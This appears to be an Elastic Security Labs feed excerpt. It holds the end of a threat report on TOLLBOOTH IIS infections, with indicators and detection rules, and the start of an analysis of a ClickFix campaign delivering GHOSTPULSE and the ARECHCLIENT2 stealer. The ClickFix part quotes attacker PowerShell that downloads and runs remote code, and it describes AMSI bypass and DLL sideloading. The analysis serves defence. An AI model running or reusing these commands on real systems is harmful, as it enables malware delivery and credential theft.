<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/jp/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[A Wretch Client: From ClickFix deception to information stealer deployment]]></title>
            <link>https://www.elastic.co/jp/security-labs/a-wretch-client</link>
            <guid>a-wretch-client</guid>
            <pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected a surge in ClickFix campaigns, using GHOSTPULSE to deploy Remote Access Trojans and data-stealing malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.</p>
<p>Our threat intelligence indicates a substantial surge in activity leveraging <a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">ClickFix</a> (<a href="https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn">technique first observed</a>) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the <a href="https://www.elastic.co/jp/security-labs/tricks-and-treats">GHOSTPULSE loader</a>. This led to campaigns targeting a broad audience using malware and infostealers, such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a>, a family first observed in 2019 but now experiencing a significant surge in popularity.</p>
<p>This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>ClickFix:</strong> Remains a highly effective and prevalent initial access method.</li>
<li><strong>GHOSTPULSE:</strong> Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.</li>
<li><strong>ARECHCLIENT2 (SECTOPRAT):</strong> Has seen a considerable increase in malicious activity throughout 2025.</li>
</ul>
<h2>The Initial Hook: Deconstructing ClickFix's Social Engineering</h2>
<p>Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image1.png" alt="" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image15.png" alt="Fake captcha" title="Fake captcha" /></p>
<p>At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless &quot;fix&quot; (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.</p>
<p>ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting &quot;verification fatigue&quot; – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent &quot;fix it&quot; button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes <strong>ClickFix</strong> an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.</p>
<p>Our recent Elastic Security research on <strong><a href="https://www.elastic.co/jp/security-labs/eddiestealer">EDDIESTEALER</a></strong> provides another concrete example of <strong>ClickFix</strong>'s efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.</p>
<p>Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.</p>
<h2>A ClickFix Campaign's Journey to ARECHCLIENT2</h2>
<p>The <strong>ClickFix</strong> technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a <strong>ClickFix</strong> lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader">GHOSTPULSE</a></strong> Loader (also known as <strong>HIJACKLOADER</strong>, <strong>IDATLOADER</strong>). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a></strong> (<strong>SECTOPRAT</strong>) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image16.png" alt="Execution flow" title="Execution flow" /></p>
<p>We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image6.png" alt="Execution flow in Kibana" title="Execution flow in Kibana" /></p>
<h2>Technical analysis of the infection</h2>
<p>The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.</p>
<p>We observed two infrastructures (both resolving to <code>50.57.243[.]90</code>) <code>https://clients[.]dealeronlinemarketing[[.]]com/captcha/</code> and <code>https://clients[.]contology[.]com/captcha/</code> that deliver the same initial payload.</p>
<p>User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (<a href="https://www.elastic.co/jp/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">2023 and</a> <a href="https://www.elastic.co/jp/security-labs/tricks-and-treats">2024</a>) provided a detailed look into its initial capabilities.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image12.png" alt="Fake captcha hosted by contology[.]com" title="Fake captcha hosted by contology[]].com" /></p>
<p>The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image20.png" alt="Obfuscated JavaScript of the captcha page" title="Obfuscated JavaScript of the captcha page" /></p>
<p>Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox <code>Verify you are human.</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image26.png" alt="HTML code of the captcha page" title="HTML code of the captcha page" /></p>
<p>A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, <code>runClickedCheckboxEffects</code>, retrieves the public IP address of the machine by querying <code>https://api.ipify[.]org?format=json,</code> then it sends the IP address to the attacker’s infrastructure,  <code>https://koonenmagaziner[.]click/counter/&amp;lt;IP_address&gt;,</code> to log the infection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image19.png" alt="JavaScript of the captcha page" title="JavaScript of the captcha page" /></p>
<p>The second function copies a base64-encoded PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image11.png" alt="Command copied to the clipboard by the JavaScript script" title="Command copied to the clipboard by the JavaScript script" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image25.png" alt="PowerShell command copied to the clipboard" title="PowerShell command copied to the clipboard" /></p>
<p>Which is the following when it is base64 decoded</p>
<pre><code class="language-powershell">(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex
</code></pre>
<p>When executed, it fetches the following PowerShell script:</p>
<pre><code class="language-powershell">Invoke-WebRequest -Uri &quot;https://bitly[.]cx/iddD&quot; -OutFile 
    &quot;$env:TEMP\ComponentStyle.zip&quot;; Expand-Archive -Path 
    &quot;$env:TEMP/ComponentStyle.zip&quot; -DestinationPath 
    &quot;$env:TEMP&quot;; &amp; &quot;$env:TEMP\crystall\Crysta_x86.exe&quot;
</code></pre>
<p>The observed infection process for this campaign involves <strong>GHOSTPULSE</strong>'s deployment as follows: After the user executes the PowerShell command copied by <strong>ClickFix</strong>, the initial script fetches and runs additional <strong>commands</strong>. These PowerShell <strong>commands</strong> download a ZIP file (<code>ComponentStyle.zip</code>) from a remote location and then extract it into a temporary directory on the victim's system.</p>
<p>Extracted contents include components for <strong>GHOSTPULSE</strong>, specifically a benign executable (<code>Crysta_X64.exe</code>) and a malicious dynamic-link library (<code>DllXDownloadManager.dll</code>). This setup utilizes <strong>DLL sideloading</strong>, a technique in which the legitimate executable loads the malicious <strong>DLL</strong>. The file (<code>Heeschamjet.rc</code>) is the <strong>IDAT</strong> file that contains the next stage's payloads in an encrypted format</p>
<p>and the file <code>Shonomteak.bxi,</code> which is encrypted and used by the loader to fetch the stage 2 and configuration structure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image23.png" alt="Content of ComponentStyle.zip" title="Content of ComponentStyle.zip" /></p>
<h2>GHOSTPULSE</h2>
<h3>Stage 1</h3>
<p><strong>GHOSTPULSE</strong> is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in <a href="https://www.elastic.co/jp/security-labs/tricks-and-treats">Elastic’s 2024 research blog post</a>, and new modules from <a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">Zscaler research</a>.</p>
<p>The malware used in this campaign was shipped with an additional encrypted file named <code>Shonomteak.bxi</code>. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image5.png" alt="Decryption of Shonomteak.bxi file" title="Decryption of Shonomteak.bxi file" /></p>
<p>The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the <code>LibraryLoadA</code> function. The library name is stored in the same decrypted file; in our case, it is <code>vssapi.dll</code>.</p>
<p>The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted <code>Shonomteak.bxi,</code> and a boolean field <code>b_detect_process</code> set to <code>True</code> in our case.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image14.png" alt="Structure used in stage 2" title="Structure used in stage 2" /></p>
<h3>Stage 2</h3>
<p>When the boolean field <code>b_detect_process</code> is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image13.png" alt="Delays execution by 5 seconds" title="Delays execution by 5 seconds" /></p>
<p>In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in <code>Shonomteak.bxi,</code> including:</p>
<ul>
<li>Hashes for the DLL names and Windows APIs</li>
<li>IDAT tag: used to find the start of the encrypted data in the PNG file</li>
<li>IDAT string: Which is simply “IDAT”</li>
<li>Hashes of processes to scan for</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image4.png" alt="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" title="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" /></p>
<h3>Final thoughts on GHOSTPULSE</h3>
<p>GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.</p>
<p>Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image17.png" alt="Payload extraction from the GHOSTPULSE sample" title="Payload extraction from the GHOSTPULSE sample" /></p>
<h2>ARECHCLIENT2</h2>
<p>In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially <a href="https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers">identified in November 2019</a> and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.</p>
<p>The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.</p>
<p>The loader goes through 3 steps:</p>
<ul>
<li>Patching AMSI</li>
<li>Extracting and decrypting the payload</li>
<li>Loading the CLR, then reflectively loading ARECHCLIENT2</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image22.png" alt="Main entry of the .NET loader" title="Main entry of the .NET loader" /></p>
<p>Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the <code>MessageBoxA</code> API, for example, when failing to find the <code>.tls</code> section, an error message box with the string <code>&quot;D1&quot;</code> is displayed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image18.png" alt="Debugging/error messages through a message box" title="Debugging/error messages through a message box" /></p>
<p>The following is a table of all the error messages and their description:</p>
<table>
<thead>
<tr>
<th align="center">Message</th>
<th align="center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">F1</td>
<td align="center"><code>LoadLibraryExW</code> hooking failed</td>
</tr>
<tr>
<td align="center">F2</td>
<td align="center">AMSI patching failed</td>
</tr>
<tr>
<td align="center">D1</td>
<td align="center">Unable to find <code>.tls</code> section</td>
</tr>
<tr>
<td align="center">W2</td>
<td align="center">Failed to load CLR</td>
</tr>
</tbody>
</table>
<p>The malware sets up a hook on the <code>LoadLibraryExW</code> API. This hook waits for <code>amsi.dll</code> to be loaded, then sets another hook on <code>AmsiScanBuffer 0</code>, effectively bypassing AMSI.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image2.png" alt="Hooking LoadLibraryExW" title="Hooking LoadLibraryExW" /></p>
<p>After this, the loader fetches the pointer in memory to the <code>.tls</code> section by parsing the PE headers. The first <code>0x40</code> bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image7.png" alt="Payload decryption routine" title="Payload decryption routine" /></p>
<p>Finally, it loads the .NET Common Language Runtime (CLR) in memory with <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function">CLRCreateInstance</a> Windows API before reflectively loading ARECHCLIENT2. The following is an <a href="https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2">example </a>of how it is performed.</p>
<p>ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:</p>
<ul>
<li><strong>Credential and Financial Theft:</strong> ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image9.png" alt="DNSPY view of the StealerSettingConfigParce class" title="DNSPY view of the StealerSettingConfigParce class" /></p>
<ul>
<li><strong>System Profiling and Reconnaissance:</strong> ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image3.png" alt="DNSPY view of ScanResult class" title="DNSPY view of ScanResult class" /></p>
<ul>
<li><strong>Command Execution:</strong> ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.</li>
</ul>
<p>The <strong>ARECHCLIENT2</strong> malware connects to its C2 <code>144.172.97[.]2,</code> which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (<code>143.110.230[.]167</code>) IP from a hardcoded pastebin link <code>https://pastebin[.]com/raw/Wg8DHh2x</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image21.png" alt="ARECHCLIENT2 configuration from DNSPY" title="ARECHCLIENT2 configuration from DNSPY" /></p>
<h2>Infrastructure analysis</h2>
<p>The malicious captcha page was hosted under two domains <code>clients.dealeronlinemarketing[.]com</code> and <code>clients.contology[.]com</code> under the URI <code>/captcha</code> and <code>/Client</code> pointing to the following IP address <code>50.57.243[.]90</code>.</p>
